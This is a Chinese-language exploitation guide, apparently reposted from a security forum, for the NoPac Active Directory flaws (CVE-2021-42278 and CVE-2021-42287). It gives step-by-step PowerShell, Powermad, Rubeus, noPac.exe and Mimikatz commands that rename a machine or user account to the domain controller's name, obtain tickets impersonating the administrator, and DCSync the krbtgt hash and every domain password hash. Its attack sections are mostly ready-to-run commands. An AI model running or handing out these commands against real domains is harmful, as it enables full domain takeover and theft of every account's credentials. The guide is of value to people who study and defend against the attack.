|
原文链接:CVE-2021-42278 + CVE-2021-42287(NoPac)利用指南
原理
CVE-2021-42278,机器用户应当是computer$的形式,但是实际并没有验证机器账号是否有$。导致机器用户名可以被模拟冒用。
CVE-2021-42287,使用computer的TGT通过另一个用户去请求computer自己的ST时,将TGT发送给KDC后,当KDC找不到computer。KDC会再次寻找computer$的ST,从而获得了computer$的ST。从而获得了computer$的权限。
利用条件
检查域控是否易受攻击
此处通过一键利用工具获取TGT,返回大小只有527字节,得知可以请求没有pac的TGT。所以域控可以被攻击。
 
我们可以再用rubeus手动请求一个正常的TGT看看,下图是正常大小的TGT,1713个字符。
 

检查MAQ的利用权限- # 需要Powerview
- # 查看域内MAQ的使用权限
- import-module .\PowerView.ps1
- (Get-DomainPolicy -Policy DC).PrivilegeRights | select SeMachineAccountPrivilege | %{$_ | Add-Member -NotePropertyName 'PrincipalName' -NotePropertyValue (ConvertFrom-SID $_.SeMachineAccountPrivilege.substring(1,$_.SeMachineAccountPrivilege.length-1));$_ | Format-List}
复制代码
如图所示,域内任意用户都可以使用MAQ增加机器进域。
 
检查MAQ的默认值- # 需要安装Active Directory PowerShell模块 或者 远程服务器管理工具(RAST)
- # 查询域内MAQ(ms-DS-MachineAccountQuota属性)的情况
- import-module ActiveDirectory
- Get-ADObject -Identity ((Get-ADDomain).distinguishedname) -Properties ms-DS-MachineAccountQuota
- Get-AdDomain | select -exp DistinguishedName | get-adobject -prop 'ms-DS-MachineAccountQuota'
复制代码
如图所示,域内默认每个用户可以让10台机器进域。
 
查看用户导入了几个机器。
 
利用方法一 手动:- # exploit.local是域名,WIN-HHPV37PB123是DC的机器名称,demo5是新建的机器名,1qaz@WSX是新建的机器用户的密码。
- # 使用Powershell创建机器用户
- $password = ConvertTo-SecureString '1qaz@WSX' -AsPlainText -Force
- New-MachineAccount -MachineAccount "demo5" -Password $($password) -Domain "exploit.local" -DomainController "WIN-HHPV37PB123.exploit.local" -Verbose
- # 使用Powershell清除机器用户的SPN
- Set-DomainObject "CN=demo5,CN=Computers,DC=exploit,DC=local" -Clear 'serviceprincipalname' -Verbose
- # 使用powershell将机器用户名修改为DC的用户名。注意不带$符号
- Set-MachineAccountAttribute -MachineAccount "demo5" -Value "WIN-HHPV37PB123" -Attribute samaccountname -Verbose
- # 查看机器用户名是否修改成功
- Get-DomainObject "CN=demo5,CN=Computers,DC=exploit,DC=local"
- # 使用Rubeus用机器账号向DC请求TGT
- Rubeus.exe asktgt /user:"WIN-HHPV37PB123" /password:"1qaz@WSX" /domain:"exploit.local" /dc:"WIN-HHPV37PB123.exploit.local" /nowrap
- # 将机器用户名重置为原来的用户名
- Set-MachineAccountAttribute -MachineAccount "demo5" -Value "demo5" -Attribute samaccountname -Verbose
- # 使用请求的TGT通过S4U2self获取ST 注意,impersonateuser必须要存在才有效,如果域内administrator被禁用,换成其他域管
- Rubeus.exe s4u /self /impersonateuser:"administrator" /altservice:"ldap/WIN-HHPV37PB123.exploit.local" /dc:"WIN-HHPV37PB123.exploit.local" /ptt /ticket:[Base64 TGT]
- # 可选命令,查看获取的ST
- klist
- # 使用Mimikatz进行Dcsync
- mimikatz.exe "lsadump::dcsync /domain:exploit.local /kdc:WIN-HHPV37PB123.exploit.local /user:krbtgt" "exit"
- # 可选命令,清除所有的ST
- klist purge
复制代码
利用Powermad手动添加机器账户
 
清除新建的机器用户自带SPN(如果不清除,修改sam name的时候会尝试修改域控的SPN,导致失败)
 
修改新建的机器用户的sam name为域控的名称
 
可选命令,查看sam name是否修改成功
 
使用新建的机器用户从易受攻击的域控获取TGT
 
将新建机器用户的sam name修改回原本的名称
 
使用刚刚获取的TGT去请求域控ldap服务的ST
 
可选命令,查看刚刚获取的ST是否有误
 
使用mimikatz导出krbtgt用户的hash
 
可选命令,清除ST
 
利用方法二 工具:
- # 使用指定的用户密码扫描域内是否存在能利用该漏洞的DC
- noPac.exe scan -domain exploit.local -user "lowpriv" -pass "1qaz@WSX"
- # 使用一键化工具获得域控cifs的权限
- noPac.exe -domain exploit.local -user "lowpriv" -pass "1qaz@WSX" /dc WIN-HHPV37PB123.exploit.local /mAccount demo6 /mPassword 1qaz@WSX /service cifs /ptt
- # 使用一键化工具获得域控ldap服务的权限,同样此处的impersonate和手动利用方式一致,需要该用户可用
- noPac.exe -domain exploit.local -user "lowpriv" -pass "1qaz@WSX" /dc WIN-HHPV37PB123.exploit.local /mAccount demo7 /mPassword 1qaz@WSX /service ldap /ptt /impersonate Administrator
- # 使用dcsync导出域内所有密码
- mimikatz.exe "lsadump::dcsync /domain:exploit.local /all" "exit"
复制代码
检查是否存在漏洞
 
获得cifs权限的ST并测试ST可用

获取ldap权限的ST并导出所有域内hash
 
利用方法三
无MAQ时利用的探讨:
当没有MAQ权限的时候,使用用户账户也可完成该攻击。前提是能修改用户账户的sAMAccountName属性,同时具有这个用户的密码以获得TGT。如果被利用的用户注册了SPN,还需要将该用户的SPN删除,否则重命名操作无效。其余步骤与利用方法一一致。
需要的权限
所需要的最小权限是对SAM-ACCOUNT-Name属性的WriteProperty权限
 
 
较为常见的常见覆盖了SAM-Account-Name的WriteProperty权限
 
常见包含WriteProperty最大的GenericALL权限
 
利用方法
- # 需要powerview.ps1
- # 查看lowpriv用户对test用户具有什么权限
- import-module .\PowerView.ps1
- Get-DomainObjectAcl test -ResolveGUIDs | ?{$_.SecurityIdentifier -eq (Get-DomainUser lowpriv).objectsid}
- # 修改test用户的sam name属性为域控
- Set-DomainObject "CN=t,CN=Users,DC=exploit,DC=local" -Set @{'samaccountname'='WIN-HHPV37PB123'} -Verbose
- # 使用Rubeus用用户账号向DC请求TGT
- Rubeus.exe asktgt /user:"WIN-HHPV37PB123" /password:"1qaz@WSX" /domain:"exploit.local" /dc:"WIN-HHPV37PB123.exploit.local" /nowrap
- # 还原test用户的sam name属性
- Set-DomainObject "CN=t,CN=Users,DC=exploit,DC=local" -Set @{'samaccountname'='test'} -Verbose
- # 使用请求的TGT通过S4U2self获取ldap服务的ST
- Rubeus.exe s4u /self /impersonateuser:"administrator" /altservice:"ldap/WIN-HHPV37PB123.exploit.local" /dc:"WIN-HHPV37PB123.exploit.local" /ptt /ticket:[Base64 TGT]
- # 使用Mimikatz进行Dcsync
- (mimikatz) lsadump::dcsync /domain:domain.local /kdc:DomainController.domain.local /user:krbtgt
复制代码
查看lowpriv用户对test用户的ACL权限
 
修改test用户的sam name为域控的sam name
 
查询test用户的sam name是否被修改
 
利用刚刚获取的TGT换取域控cifs服务的ST并测试是否有效

 
来源:先知
|
|